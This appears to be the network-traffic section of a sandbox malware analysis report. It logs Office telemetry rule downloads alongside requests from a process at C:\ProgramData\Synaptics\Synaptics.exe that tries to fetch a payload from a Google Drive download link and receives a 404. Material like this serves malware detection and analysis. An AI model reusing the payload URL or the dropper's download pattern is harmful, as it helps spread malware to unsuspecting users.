2024-11-05 21:44:19 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:19 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 73 74 59 4e 36 6d 4f 57 67 44 63 49 55 67 43 45 56 67 33 67 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="kstYN6mOWgDcIUgCEVg3gQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:19 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:19 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:19 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 8a830f3b-e01e-001f-72e6-2e1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214419Z-17df447cdb57srlrhC1DFWwgas00000001y000000000p3fn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:19 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:19 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:19 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:19 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 848bcfe1-701e-0053-01cb-2f3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214419Z-17df447cdb57g7m7hC1DFW791s00000001z00000000009s5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-05 21:44:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:19 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:19 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:19 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: e16c3d14-801e-00a3-050a-2d7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214419Z-16547b76f7fr4g8xhC1DFW9cqc0000000500000000000wuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 21:44:19 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:19 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 38302bdf-e01e-0052-3b4a-2ed9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214421Z-15869dbbcc68l9dbhC1DFWc5xw00000000fg000000008muk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:19 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:19 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:19 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214419Z-16547b76f7fkcrm9hC1DFWxdag00000005t000000000kxwf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:20 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:20 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:20 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214420Z-16547b76f7f9rdn9hC1DFWfk7s00000005k000000000z9e3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:20 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49816	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:20 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
2024-11-05 21:44:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-kWOMkaxIYUJi-aAbdsc28g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49815	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:20 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y
2024-11-05 21:44:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-4ElXXF1TL_gO4fWDKOkq_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:20 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 183719b9-d01e-00a1-43c3-2c35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214420Z-16547b76f7fr4g8xhC1DFW9cqc00000004u000000000ucx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49817	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:20 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:20 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:20 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-7v34S8OIOOoJOs6ljw9Fmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY0KBYmFIkE3W3_Tm38SKv-dmyZOBF5030xap6W1cCrK575Z8nrsRHb_DT-XTdrLSLqbsWOQOB_raQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:20 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:20 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 35 36 4c 4c 56 5f 69 73 5f 57 42 35 4e 49 75 2d 63 78 6b 6d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="X56LLV_is_WB5NIu-cxkmA">*{margin:0;padding:0}html,code{font:15px/22px 